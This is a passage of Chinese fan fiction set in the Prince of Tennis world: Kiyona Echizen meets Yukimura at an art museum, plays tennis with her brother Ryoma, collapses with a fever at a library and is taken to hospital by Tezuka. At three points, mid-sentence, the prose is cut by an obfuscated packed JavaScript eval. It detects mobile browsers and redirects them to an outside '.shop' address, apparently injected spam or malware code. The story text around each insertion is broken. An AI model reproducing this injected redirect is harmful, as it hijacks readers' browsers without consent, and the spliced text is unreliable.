少年站在离她一步远的地方。浅米色的硬挺风衣映着冬日的光,暖灰色的围巾松松垮垮地垂在胸前。鸢尾蓝色的发丝半收在围巾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270139|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内圈,被室内的光线晕出一层柔和的边缘。 他没有看她,只是注视着那幅画。 清和看不清他的脸,只注意到那抹少见的发色。 就像是新颜彩颜料中的「鳩羽」,再混入一点点「白群」。很温柔——是她常用来铺底阴影的颜色。 清和收回目光,莫名地,顺着那句话轻声应了一句:“……重心压得是有些太低了。” “嗯?” 少年侧过脸来。“你也这么觉得吗?” 清和点了点头:“色彩很美,但引导视线的方式有点太明显了。就像是在提醒观众‘该往这里看’一样。” 少年轻笑了一声。“不过,很多人反而会喜欢这种明确呢。” “或许吧。”清和不置可否,“可能明确也是安全的另一种体现?” 少年再一次将目光落在她身上。这一次,她也正好看向他。 两道视线在半空中轻轻撞了一下。 …… 少年并没有立刻离开视线。 女孩的脸线条很干净,墨蓝色的过肩发随意地披散着,几缕发丝落在耳侧,在光里轻轻晃动。她的瞳色很深,似乎是与头发同色系的灰蓝。光线落进去,却并不显得明亮,反而像压着一层薄薄的影子。 她的目光很稳。 除了最开始闪过的一丝惊讶以外,几乎没有什么多余的情绪。 他见过太多那样的目光——惊艳、好奇、微妙的局促,又或者是自以为克制的观察。 她都没有。 少年微微顿了一下。 那目光,让他有些难以归类。 …… 而另一边,清和几乎在第一眼就确定了——这位一定是网王里的某个重要角色。 因为他长得实在太好看了。 五官并不张扬,却过分协调。那种温和的弧度里,藏着一点不明显的锋利。冷调的发色在光线的晕染下散发着暖意,那种介于蓝与紫之间的柔和色泽,像是被薄雾轻轻覆住的鸢尾。 网王世界里的帅哥,一定都是打网球的——乔乔曾说。 几个熟悉的名字在清和的记忆里开始打转,却迟迟落不下来。 ……太久远了。 她一时没能对上号。 …… 等清和再回过神来时,两人就已经并肩走出了展厅。 户外的光线要比室内明亮得多。风声、车声、信号声,还有行人随意交谈的声音,在他们踏出馆门的那一刻就重新变得清晰了起来。 那个刚刚遇见的少年仍旧走在她身侧。两人之间,只隔着两只印有美术馆logo的手提袋。 那场对视之后,他们就这么自然而然地走在了一起。 一起看画,一起听讲解,然后又顺势一起逛进了纪念品商店……清和还与他不约而同地买下了同一本艺术家联名设计的速写册。 在脱离了那种沉稳而封闭的氛围后,清和这才后知后觉地感到有些发闷。 她深吸了一口气,又慢慢吐出。察觉到身旁的少年正看向她,她轻咳了一声,解释道:“场馆里的暖气开得太足了,但换气量好像不大够……你有没有头晕的感觉?二氧化碳浓度偏高的那种。” 少年仔细回想了一下,点点头。 “这么说来好像是有呢,外面的空气要清新多了。” “嗯嗯,天气很好呢……” 清和顺口应下,脑海里却忽然闪过那句几乎是所有日语考级人必懂的听力梗: 天気がいいから、散歩しましょう。 (* 天气很好,所以一起去散步吧) 她差点就顺势接了下去。可转念一想,这梗就这么说出来的话,未免也太奇怪了…… 于是清和又硬生生地把后半句咽了回去。 没想到下一秒,少年温润的声音便轻轻落了下来。 “……要不要一起散散步?” “诶?” 8. Yukimura 冬日临近正午的阳光最是暖和,光线在展馆对面的公园小径上铺开了一层淡金色的边缘。 落叶被风推着在石板路上打了个旋,又轻轻停下。远处有孩子追逐玩闹的声音,偶尔也混进一阵电车驶过的低鸣。 他们两人就那样站在美术馆门口的台阶下。 清和拎着装有速写册的纸袋,指节微微收紧。少年则立在一旁,安静地等着她的回答。 他暖灰色的围巾下摆被风带起一道弧线。 “只是随便走走,方便吗?”少年语气平和地补充道:“不方便也没关系的。” 清和眨眨眼。 “好啊。只是有点没想到。”……没想到会从你的嘴里说出来。 于是他们并肩沿着公园的步道慢慢走去。 正午的光把影子压得很短,几乎就贴在脚边,随着他们的步伐微微晃动。 “你是学美术的吗?”少年问道。 “不是啦,只是很久以前学过一点。” 清和偏头看向他。少年今日穿得清爽,气质温润而优雅,怎么看……都不像是热血漫里的那种会在球场上挥洒汗水的人。 她抿了抿嘴,半是玩笑地问道:“你呢?你看起来倒很像学美术的——该不会,其实是打网球的吧?” 少年微微一顿,侧眸看向她,眼底掠过一丝几不可察的意外。随即,他的唇角轻轻扬起。 “我会画一点点。”顿了顿,又补了一句,“也会打一点网球。” ……还挺谦虚。 少年低笑了一声:“怎么突然这么问?” 清和把目光又落回到他的脸上。 语气一本正经道:“我朋友以前跟我讲过——在这个世界里,只要是长得好看的男孩子,一定是打网球的。” 少年微微一怔,眼带笑意。 “听起来像是很严谨的研究结果呢。” 他语气温和地接着说道:“那……谢谢你的夸奖?” 少年的目光仍旧落在清和的身上,没有移开。 “这么说来——”他略微侧了侧头,“我是不是也可以合理推测,你也是会打网球的吧?” “我吗?” 清和眨了眨眼,嘴角弯起一点弧度,“我朋友的前提条件是‘长得好看的男孩子’,我又不是男孩子。” 少年轻轻地“唔”了一声,尾音拖长。“那看来,是我把条件擅自放宽了。” 清和笑意微漾,左颊的酒窝若隐若现。 “我也会打一点的。”说着,她随意地晃了晃左手。指根与掌心靠近虎口的位置有一层薄薄的茧,在光线下格外明显。 少年的目光落了上去。 “……左手?”视线在她的掌心停了一瞬,道:“很少见呢。” 清和把手收回来,笑了笑。 “还好还好。” ……这回轮到她谦虚了。 谁叫他们家一共四个打网球的,其中有三个都是左利手……很常见嘛,没毛病。 跟前的树荫下有一排长椅。 少年率先停下了脚步。 “要坐一会儿吗?” “好啊。” 他们在长椅上坐了下来。 两人之间隔着两只手提袋。 明明只是一个人来看展……结果却变成了两个人逛,现在甚至还一道逛起了公园。 清和微微向前抬起双脚,小腿前端伸出了树荫的覆盖范围。阳光沿着袜口的边缘慢慢向上扩张,暖意落在了皮肤上。 她盯着脚下被分割出来的影子——可能双脚离地了,聪明的智商就又占领高地了? 清和忽然意识到,自己甚至还不知道他的名字。 ……主要是,她实在没想起来。 “那个……我还不知道你的名字。”清和有些迟疑地开了口。 少年顿了一下,随即了然一笑。 “抱歉,确实还没有正式自我介绍。” 他转过身来,语气温和而从容:“幸村精市,立海大附中二年生——很高兴认识你。” 清和看着少年悬在半空的右手,虎口与指根的位置同样覆盖着一层因常年握拍而留下的茧。 她轻握了上去,掌心的温度透过皮肤传来,比她预想的要高一些。薄茧从指腹掠过,带着一点并不刺人的粗粝感。 “越前清和。” 她收回手。 “我刚从国外回来不久,还没正式入学。现在应该也算是二年生。明年四月开始,会在青学。很高兴认识你。” 幸村的目光停在了她的脸上。 “青学啊。”目光微动,他点了点头,“是所很有名的学校呢。” “说起来,立海大附中……”清和稍稍停顿,思索了一下,“幸村君是从神奈川过来的吗?” 又是神奈川。 清和不禁想起了龙雅发来的那条短信。 “是的呢。为了看展,一早就过来了。” 幸村的语气很轻松,像是经常会在这两地之间往返一样。 清和轻轻点了点头。 于是话题在不知不觉间又落回到了刚才的展览上。 两人从新展的作品,聊到各自偏爱的画风、喜欢的画家,然后又谈起平日里练习的方式,最后才有些遗憾地发现,今天谁都没有带来自己的画作。 阳光的角度不知何时低了几分。 幸村低头看了眼时间,惋惜道:“我差不多该回去了呢。从这里到神奈川,电车要坐一阵子。” 清和点了点头,站起身。 “好的,那幸村君路上注意安全。” “好,越前さん也是。” 幸村仍坐在原处,视线随着清和起身的动作缓缓上移,最后停在她那双沉静如深海般的眼睛里。 空气忽然安静下来。 风吹过树梢,沙沙作响。 清和看见少年清亮的蓝紫色眸子中,清晰地映着自己的身影。 他温润而和煦的声音轻轻落下—— “方便的话……我们可以交换一下联系方式吗,越前さん?” 停顿,起身。 两人视线的距离被悄然拉近。 “或许,下次还可以一起看展。 ……而且,我也实在很想欣赏一下越前さん的作品呢。” 清和微微一怔。 下一刻,笑意便从她的嘴角慢慢地浮了上来,在脸颊处落下,随之又向内凹出了一抹浅浅的弧度。 少年从她海底一般的眸子中看到了一点细碎的光。他听见她笑着说道: “——好啊。那我也等着欣赏幸村君的作品了。” 于是他们在冬日午后的长椅上,交换了彼此的Line。 清和的手机轻轻震动了一下。 屏幕亮起。 「——“Yukimura” 已成为您的好友。」 清和把手机收回口袋。 天空积起厚云,风有点凉。 >>>> 灰色的云团层层叠叠,像是被谁从天际猛地推了过来,一寸一寸地压低。 不过五六分钟,街道便暗得不像是才刚过午后的样子,仿佛下一秒就会提前步入夜色。 风也急了起来。树枝晃动,落叶被卷起,在空中打着凌乱的圈。 行人纷纷加快脚步。一个接一个的人影从清和身旁快步掠过,衣角擦过她的挎包,鞋底与地面摩擦出短促而沉闷的声响。 整条街像是忽然提了速。 清和却慢了半拍。 她有些心不在焉。 ……幸村精市。 这次终于是个她听过的名字了。 但——乔乔是个青学推,平日里谈起立海大的角色时总是轻描淡写,三两句就带过了。那些零碎的印象在她脑海里浮上来,又散开,拼不成一个完整的轮廓。 可即便如此,“幸村精市”这个名字,也绝不会是可以被轻易忽略的存在。 她隐约记得—— ……好像,很强。 不过总觉得,自己应该还漏掉了什么更重要的东西。 …… 清和刚走到车站时,第一滴雨便落在了她的额头。冰凉的触感骤然贴上皮肤,将她从思绪里拽了出来。 她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270140|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才发现,街道上的行人似乎早就已经少了大半。她随着人流检票上车。 列车门缓缓合上。 再度走出车站时,天幕低垂,雨线已然倾泻而下。伴随着风,街道被拍打出一阵阵杂乱无章的声响。 今天出门时天气还算晴朗,清和便干脆没有带伞。没料想……这场雨会来的这么突然,雨势也比她想象中的更大。 在车上她就已经查过雨云动态,页面显示这场雨还会持续一个小时左右。 可附近并没有什么适合暂避的店铺,可以买伞的便利店也相距较远。 她不由得有些犯难。 车站出口的檐下已经站满了人。有人低头翻找折叠伞,有人匆忙打电话,还有人干脆就站在原地等待雨势转小。 清和停顿了片刻。 风裹着雨丝扑面而来。 她抬头看了一眼阴沉的天色。 ……算了。 清和低头将美术馆买的速写册连同手提袋一起塞进挎包,指尖在挎包表面停留了片刻——还好,今天背的包是防水的。 下一秒,她便迈步冲进了雨幕。 冰冷的雨水迅速打湿发梢,顺着脖颈滑进衣领。布料贴在皮肤上,凉意一点点渗开,沿着脊背向下蔓延。 她不由得打了个冷颤,脚步不停。 从车站回家大约十三分钟的路程,她只用了不到十分钟。等她推开家门时,外衣几乎已经湿透了。 “清和?!怎么淋成这样——”伦子的惊呼伴随着一阵快步靠近的“挞挞”声。 她眉头皱起,伸手接过清和那件略显沉重的黑色针织外套。水珠顺着袖口滴落,在地板上砸出细碎的声响。 “早上忘记提醒你带伞了,但想着你在图书馆里应该没有什么问题……”伦子的眼里满是担心,语气里夹杂着懊悔。 清和脱下鞋摆好,从玄关柜上层拿出一条干毛巾,轻轻擦拭着湿漉漉的发梢。 “图书馆人太多,就去上野那边的美术馆转了转——” 她一边揉着头发,一边安抚道:“结束正好赶上饭点,就想着回家吃。没想到雨下得这么大……没事的妈妈,很快就到家啦。” 伦子叹了口气,又接过清和的挎包擦拭着水痕。“快点去冲个热水澡吧,饭还温着,我去热一下给你。” “好,谢谢妈妈!”清和冲伦子眨了下眼睛,眉眼含笑。她抬眼环视了一圈,“……怎么这么安静?龙马和老爸呢?” “爸爸在寺院那边。”伦子笑着回应,“龙马吃完饭就上楼回房间了,应该在复习功课吧。” 清和点点头:“那我先去洗澡啦。” “直接去吧,等下我会把换洗衣物放在浴室门口。” “好—— ” 蒸腾的热气氤氲而上,驱散了大半寒冷,却仍有几分凉意贴在皮肤深处。 喉咙有些隐隐发紧。 清和借着花洒声,清了清嗓子。 …… 吃饭时外面的雨已经停了。 暗灰色的云层渐渐散去,天空就像被洗过一样清透。 慢悠悠地吃完之后,清和上楼,准备回房间歇一歇。 龙马正巧拎着球拍推门而出。看到清和,他愣了一下,眼里闪过一丝疑惑。 “姐姐?今天怎么回来得这么早?” “逛了下美术馆就回来啦。” 清和抬手打了个招呼,随口答道。 龙马拖长音应了一声:“哦——” 下一秒,他像是忽然想起什么,眼神微微一亮。 他握着球拍的手向上一抬,红色拍框在空气里划出一道利落的弧线,稳稳落在肩头。少年抬起下巴,嘴角带着一点若有似无的笑意。 “打一场?” “啊?” “我正要去练球。” 他说得漫不经心,目光却定定地落在清和的双眼:“姐姐你都好几天没去球场了吧?老爸可是天天都念叨着你呢。” 顿了顿,他的唇角又往上勾了一点。 “——不如跟我打一场。” 啧。 ……小鬼头。 9. 图书证 雨过天晴。 细碎的阳光透过庭院树的枝丫撒落地面,空气里还残留着一股略显湿重的土腥味。 寺院钟亭古朴的飞檐上,乌鸦抖落一身雨珠,振翅而去,留下一串嘶哑的“啊——啊——”声。 南次郎仰躺在钟亭的横座上,翘着二郎腿。他手里正翻着一本看封面就不怎么正经的杂志,时不时把书凑近,发出几声意味不明的哼笑。 他一只脚踝,松松地缠着那根连有钟锤的麻绳,只要轻轻一晃,钟声便会懒洋洋地荡开。 龙马和清和一前一后走进寺院,绕过石阶,来到钟亭旁的网球场。 南次郎抬起眼皮瞟了一眼。 “哦呦?”他怪笑一声,支起上半身:“真稀奇啊,少女。终于想要活动活动身体啦?” 清和摸了摸鼻子,讪讪一笑。 “嗯……活动活动。” “难得——”南次郎拖长了尾音,盘腿坐起身。他的脚掌擦过木板,身后的古钟被连带着轻轻一晃,低低地嗡鸣了一声。 “那龙马今天就交给你了!” “……我只准备打一局的。” “啧。”南次郎眯起眼,摇了摇头,不满道:“还是老样子啊你。” 下一秒,他忽然板直了背,语气毫无预兆地一沉 :“这样可不行,清和。从下周开始,你也得给我参加晨练。” “……” “听见没有?!” “……” “喂。清和?” 清和抬头看了看天,装作没听见。 另一边,龙马已经率先迈进球场。 他站上发球线,从裤兜里摸出一颗网球,在拍面上轻轻颠了两下,恰到好处地切断了那两人微妙的僵持。 “——先开始吧。”他看向清和,“我先发球?” 清和耸了耸肩,走到接发区站定,刻意没有往钟亭那边看一眼。 球被抛向半空,“砰”的一声,球拍挥落。击球声在雨后清透的空气里炸开,格外清亮。 黄色的弧线下一秒就擦着清和的脚边落地,旋转着向上弹起,直冲面部而来。 ……这么认真? 一上来就是外旋发球。 清和微微一怔,迅速向右后方撤开半步,调整球拍角度,抬手下落回击。 球在网面的正中摩擦、挤压,下一瞬便飞速掠过球网,稳稳落回了对场。 “0-15。” 南次郎慢悠悠地报了个分。 …… 从第一局开始,节奏就被拉得很快。 对拉、上旋、切削。 几轮来回之后,汗水早已顺着清和的鬓角滑落。 雨后的空气还带着些湿凉。风从树梢间穿过,贴着后颈吹过。她抬手抹了抹额角,掌心温热。 ……真是好久不动了。 还挺累。 阳光逐渐变得明亮起来,场地被反射出一层浅浅的光。 两人的球速和力道没有丝毫减弱。 龙马压着底线打,她也毫不示弱地回击。几次长回合后,球的落点开始变得愈发刁钻。 黄色小球再一次擦着边线落下,扬起细碎的尘土。 龙马突然上步抢网。 而清和却在龙马动身的瞬间就改变了方向。 她手腕一震,小球沿着斜线贴网而过,越过龙马的肩膀飞向后场。 龙马急停,却来不及。 落点干净。 黄色小球在弹起后缓缓滚向场边…… “Game Kiyona,6-4。” 南次郎刻意拖长了语调,语气里满是莫名其妙的怨念:“哈——你退步了,少女。” 清和抬手将散落的发丝别到耳后,站直身子。她的呼吸比平时重了许多,喉咙发痒,干渴感也后知后觉地浮了上来。 汗水沿着颈侧滑下,没进衣领。她抬手抹了一把,笑得若无其事。 “好像是,后半场才找到点感觉。” “再来一局吧,姐姐!” 龙马站在原地,双颊泛着运动过后的红润。他喘着气,眼底摇曳着一簇酣畅的火苗,浑身都散发着“想赢”的信号。 “来嘛来嘛!”南次郎也兴致勃勃地跟着起哄。 一阵冷风在这时贴着清和的后颈掠过,沿着汗湿的皮肤向下窜了几寸。凉意像针一样扎进脊背,她打了个颤,握着球拍的手顿了一顿。 “今天就到这里吧,你们俩来。”她摆了摆手,笑得有些敷衍。 龙马皱皱鼻子。 “切,你明明还能打的。” “又想逃?!”南次郎在一旁夸张地叫了起来,“不行,要么今天继续,要么下周恢复晨练,你——” “啊——下周下周。”清和干脆地打断他,举手投降。 她利落地收好拍子,把刚才脱在一旁的厚外套裹回身上。临走前,回头冲龙马眨了下眼。 清和:“加油哦,王子様。” 龙马:“……” >>>> 翌日,周一。 天还没完全亮,清和就被南次郎的敲门声从被窝里拖了出来。 ……大意了。 怎么第二天就跳到下周了啊! 球场上寒风凌厉,空气干冷。两个小时的拉练下来,都没能让她找到平日里身体的节奏。 南次郎只当她是太久没运动,不适应,也不好一下子加量。最终还是松了口,让她提前回去休息了。 清和离开时并没有注意到龙马在她身后投来的那道幽怨的视线。 她只想着—— 今天无论如何,也得再睡个回笼觉。 …… 清和的房间很安静。 窗帘没有拉严,日光从缝隙间挤进,在书桌和地板上铺出几道规整的光影。 被子里的人轻轻动了一下。 意识像沉在水底一样,浮不上来。 她皱了皱眉,费力地睁开略显沉重的眼皮。 光线和桌面的反光让她一瞬间有些失焦。她眯起眼,过了几秒,视野才慢慢清晰。 手在枕边摸索了一下,触到手机。 屏幕亮起—— 10:58。 ……睡了三个小时。 眼皮发胀,前额隐隐作痛,思绪就像隔着一层薄雾。她用力按了按眉心。 视线下落,屏幕底侧显示着一条来自「Yukimura」的信息提示,是早上八点左右发过来的。 她坐起身,点开幸村的消息。 「Yukimura:昨天回程的路上下了好大的雨,越前さん有淋到雨吗?」 清和盯着那行字反应了两秒,手指才慢慢在屏幕上敲了起来。 「Kiyona:下车时正好赶上,跑回家了(囧)……幸村君那时候应该还在车上吧?」 ——OK,发送。 抬起头,清和掀开被子下床。 双脚踩到地板的瞬间,一股冷意顺着脚心就窜了上来,她缩了缩脚趾,赶忙套上一双棉袜。 站起身时,身体有些发沉。她扶了下桌角,走到窗边拉开窗帘。 光线一下子铺满房间。 清和双手撑着桌面,闭眼站了一会儿。暖意借着阳光贴上皮肤,顺着毛孔慢慢渗进身体里,她这才觉得脑袋清醒了几分。 …… 重新洗漱完下楼时,屋里依旧安静。 隔壁寺院的方向传来清脆的击球声。 “砰——砰——” 节奏干脆利落。偶尔夹杂着一两句南次郎懒散的点评声,只是内容听不真切。 餐桌上摆着一份简单的日式早餐,烤鱼用保鲜膜封着——是早上她没来得及吃掉的那份。 味噌汤已经彻底凉了,汤面飘着零星的葱花,味噌沉在碗底。清和开火,把汤重新温了一下。汤勺轻轻一搅,浑浊的颜色慢慢散开。 她盛了一小碗,拉开椅子坐下。 击球声从窗外一阵阵传进来。 节奏清晰而稳定。 清和小口地喝着。味道有些淡。她盯着汤里的海带和豆腐块发了会儿呆——明明觉得有些饿,却又怎么也提不起继续吃的念头。 最终,她还是放下了碗筷。 碗里剩下一小半,烤鱼一口未动。 ——都这个时间了,中午再吃吧。 >>>> 出门时,太阳已经偏西了一些。 清和跨上包,顺手将门带上。 结果午饭也只是随便吃了几口。胃里还有些空落落的,却又没什么食欲。 她在图书馆一楼的自动贩卖机前停下脚步,买了一瓶橘子味的Ponta,随后走到她平时常坐的位置坐下。 周内的图书馆恢复了往日的安静。 阳光很好,晒得馆内暖洋洋的。 可清和却总觉得有些冷。 像是有某扇看不见的窗户在漏风,一阵阵凉气悄无声息地从四面八方渗透进来,贴着她的皮肤往骨缝里钻。 今天的学习任务也慢得出奇。英语、国文这些拿手科目还算顺利,可一轮到理科,清和的思绪就仿佛被糊上了一层米浆,黏滞而沉重,怎么也理不清。 奇怪的是,她并不怎么焦躁。 她只是拖拖拉拉地写着习题册,任由时间一点一点地向前滑动。等再抬头时,窗外的光线又往西边沉了些。 差不多到了放学的时间,身着校服的学生身影渐渐多了起来。 这时,左侧的桌面忽然落下一道阴影。一缕带着户外冷冽空气味道的气息随之而来。 衣料轻微摩挲的声音响起,有人坐下了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270141|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清和没有抬头。只是余光里,看见一只骨节分明的手将黑色背包放到桌面上。动作干净而克制,没有多余的声响。 那人很快起身离开,没过多久,又抱着一摞书回来。 清和不着痕迹地扫了一眼。 ——那是一摞与网球有关的书。 她不禁又一次在心里感叹一声。 ……真不愧是网球的世界啊。 那人安静地翻开书页,空气重新归于平稳。 不知过了多久,左侧传来一阵窸窣的整理声。人影微动,椅子被轻轻地挪开又归位,脚步声渐渐远去。 …… 不知怎么的,清和觉得自己的注意力越来越松散了。 指尖有些发麻。寒意顺着脚底向上攀升,到了头顶却又像蒸腾出一层虚浮的热气,闷闷地罩下来。眼前的字迹开始发虚,仿佛隔着一层透明的水膜。 她抬手喝了一口Ponta。气泡在舌尖跳跃的感觉早已淡去,只剩下单调的甜味在口腔里缓慢扩散。 没有带来任何清醒。 反而更冷了。 清和这才迟钝地意识到,自己大概是生病了,甚至还在发烧。 整个少年时期都没有生过一次病的她显然是有些大意了。 她决定收拾东西回家。 整理桌面的动作也有些迟缓。就在她把最后两本书也装进背包时,视线扫过桌面—— 一张图书证静静地躺在那里,反面朝上。 清和怔了一下。 她翻包确认,自己的卡正安安稳稳地收在钱包夹层里。 她脑海里不自觉浮现出了那双骨节分明的手,还有那摞网球书。 刚才……是自己把桌面堆得太乱了吗?才会让旁边的人误以为这是她的图书卡? 她忽然有些不好意思。 看来以后得注意一点了。 清和伸手将图书证翻过来—— 「(照片)」 「番号:xxx-xxxx」 「姓名:手冢国光」 …… 手冢国光? 记忆里模糊的轮廓,慢慢与卡片上的那张照片重叠起来——冰山眼镜男;青学网球部现任支柱;龙马未来的部长。 啊。 原来刚才坐在旁边的人,是他啊。 >>>> 清和的脚步有些发虚。木地板的线条在视野里微微晃动,她不得不刻意放缓了步子。 空调送风的声音在空荡的走廊里显得有些聒噪,两侧的玻璃门窗映出一重又一重单薄的身影。 前方悬挂着的「失物招领处」牌子在灯光下轻轻摆动。 ——终于找到了。 她走上前,向柜台的工作人员说明了来意,然后将那张图书证递了过去。 “好的,我看一下。”工作人员接过卡片,低头确认信息。 清和靠着柜台面,有些恍惚。 “是「手冢国光」さん的证件呢。谢谢你啊,同学,我这边先登记一下,后续会联系本人——” 话音未落,工作人员忽然轻轻“啊”了一声,视线越过清和的肩膀。她反复抬头确认了几次,语气里染上几分惊喜。 “——手冢さん!是手冢国光さん吧?” 清和怔了怔。 她顺着那道视线回头。 黑色校服,身形笔挺端正。灯光在他的镜片上反射出冷静的光。 他向柜台方向点了点头。 “你好。”声音平稳,没有起伏。 “太好了,”工作人员笑道,“这位同学刚把你的图书证送过来,正准备登记呢,你就来了。” 她核对好信息后就将卡片递了过去,语气轻快道:“这样就方便多了。” 手冢道谢后接过图书证,指尖在卡片边缘停顿了一瞬,然后目光落在了一旁的清和身上。 “谢谢你。” …… 然而此时的清和更恍惚了。头脑发昏,正处于一个连身体都不太听使唤的状态。 头部像是被一股接着一股的热浪拍打着,涨得难受。她一直试图与之对抗,绷直脖梗,想尽可能地让自己看起来正常一点。 那句清冽的“谢谢你”传入耳中,她迟钝地反应了两秒,本想摇头说“不客气”。可胃部忽然一阵抽动,脑袋才刚刚轻摆了一下,重心便开始无声地偏移—— 柜台上方的灯光忽然变得刺目。空气仿佛被抽空,向内塌陷。 耳边的声音一点点远去。 她下意识往后退了一步。 可脚下却忽然一轻。 视野骤然发白。 世界缓缓失焦。 在意识坠入混沌前的最后一秒——镜片之后,那双陡然睁大的眼睛映入了她的视线。 糟了。 …… 10. 支柱同学 视野里灰蒙蒙的一片,没有边界,像是铺展开来的雾,把一切都包裹在里面。 最先变得清晰的,是一阵模糊的嗡鸣声。 像是有人在很远的地方说话,又像是血液在耳膜后面缓慢地流动。那声音轻微地震着,一下一下,钝钝地敲在脑海深处。 清和想睁眼。 眼皮却重得不像是自己的。 身体的感觉也很迟钝。手指似乎贴着什么冰凉的表面,她试着动了一下,却分不清自己到底有没有真的动过。 意识像是被从深水里缓慢地往上拖,一寸一寸。直到耳边的嗡鸣开始分裂成具象的声响。 有人在叫她吗? 脚步声,布料摩擦的细响,包装纸撕裂的脆响—— 有什么微凉而坚硬的东西贴上了她的唇。 她下意识地张口。 那东西被送入口中,在舌尖慢慢化开,一阵柔和的甜意顺着味蕾攀上去,抵达上颚,而后又细细地蔓延开来。 …… “……吃了吃了!” “吃下去了,太好了。” “不过这都两分钟了……不然还是叫个救护车吧?” “也是——诶?她睁眼了!” “同学?同学,你听得到吗?” “嘶……小川,她好烫啊。” “真的假的,我还以为只是低血糖……那还是叫个车吧?以防万一。” …… 额角滚烫,后颈却发冷,冷热交织着往身体里渗。 对话声仿佛就飘在她的耳边。 ——什么救护车?给我叫的? 这个念头忽然亮起,像一束强光刺破昏沉。清和猛地睁开了眼,喉咙干得发涩,舌根像被什么黏住了。 “……不、不用。” 她急忙试着出声,气息却先散开,只挤出一声几乎听不见的气音。她不得不再次吸气。肺部像刚刚重新运转过来,迟缓又沉重。 “……不用。”声音终于落地。 视野还在轻微地晃。灯光被拉成模糊的光带,工作人员的脸像隔着一层塑料薄膜。清和眨了眨眼,焦距慢慢对上。 眼前的一切终于稳住。 她这才发现自己正跌坐在失物招领处的柜台前——并没有像想象中那样狼狈地瘫倒在地。 她的身体被人从后方稳稳地托住。后背处贴着一只温热的手掌,力道稳定,连带着坚实的臂膀,没有丝毫颤动。 那种稳定感,似乎比周围的声音还要再真实一些。 她缓慢地动了动手指。这一次,她确定自己是真的动了。 “……我没事。” 她紧闭了一下眼,又张开,试图让自己的声音听起来更稳一些:“我可以自己去医院。” 不用那么大阵仗。 真的。 千万别。 她向来不擅长应付这种场面,只觉得整个人都坐立不安。晕倒在公共场所这件事本身就已经足够让她局促了,更何况是被救护车“呜哇呜哇”地抬走—— 光是那场景在脑海里一闪,她就下意识地绷紧了脚趾。 “啊,真的吗?” 工作人员显然还不大放心。 清和点点头,双手撑地,借着后背那股稳定的力道慢慢站起身。身后那人似乎也察觉到了她的意图,顺势扶了一把,力道沉稳。 站定的那一瞬,她的身体还是软绵绵的。她一手扶着柜台,另一只手微微攥紧,指节抵住眉心,用力按了按。 酸胀的疼痛感清晰地传来。 “真的,我没问题。” 两个工作人员面面相觑,仍旧犹豫。 这时,一道清明而平稳的嗓音从侧后方落下—— “我送她去医院。” 她缓缓回头,这才看清说话的人正是刚才托住她的那位。 少年站得笔直,神情冷静,目光平直而专注。他的双手仍保持着虚扶的姿势,像是随时准备再次托住她。 清和被他这副过分稳重的老成模样震了一下。 乔乔说的没错。 不愧是青学的支柱同学。 靠谱。 “那、麻烦你了,手冢……同学。” >>>> 两人一路无话。气氛安静得只听得见鞋底与地面的摩擦声。 街道上时不时地驶过一两辆车,尾气在空气里散开,今天却没那么呛人。清和吸了吸鼻子,有点堵了。 她的手臂正被手冢稳稳地托着,借着那股力量,步子才总算不至于发飘。 刚刚那番折腾下来,激得清和反倒是清醒了许多。虽然还是头疼脑热,但至少她可以开始数着步子往前了。每走五步,呼吸就乱一次;每走十步,头就更重一分。 金井综合病院离得并不是很远,但清和却觉得这段路被拉得格外漫长。 挂号、等待、就诊、检查,一项一项按部就班地进行着。 手冢一直沉默地陪在一旁,只有偶尔一两句的确认,以及三次被拧开瓶盖递到她手里的矿泉水。 …… “是病毒感染导致的急性肺炎。” 医生对着肺部光片下了诊断。他放下片子,转身在键盘上敲打了几下,抬头望向清和有些雾蒙蒙的眼睛。 清和怔了一下。 “情况不算轻,建议住院观察一段时间。”他顿了顿,视线在清和与手冢之间转了转,最后落向了男士。 他询问道:“是家属吗?证件带着吗。” “啊,他不是。” 清和原本有些迷糊的眼神里忽然闪过一丝错愕,连忙解释道:“他只是……帮忙送我过来的好心人。证件我带了,还有健康保险证。” 手冢在一旁点了点头,没有多说什么。 “原来如此,不好意思啊。”医生挠了挠头。 “那还是尽快联系家属过来吧。我先安排病房,稍后护士会带你过去。具体的诊疗方案还是需要和家属沟通的。” “好的,麻烦您了。” …… >>>> 清和坐在病床上,挂掉了打给南次郎的电话。 刚才电话那头传来的,是南次郎难得有些失措的声音,背景里还夹杂着东西被撞落的闷响。 那阵不加掩饰的慌乱隔着听筒传来,让她心里轻轻一滞。迷迷糊糊间,清和忽然想到,这似乎是自己第一次听见南次郎用那样的语气对她说话。 急切、仓促。 ……可她也没说什么呀。 她不过是轻描淡写地交代了一下现在人在医院的情况。 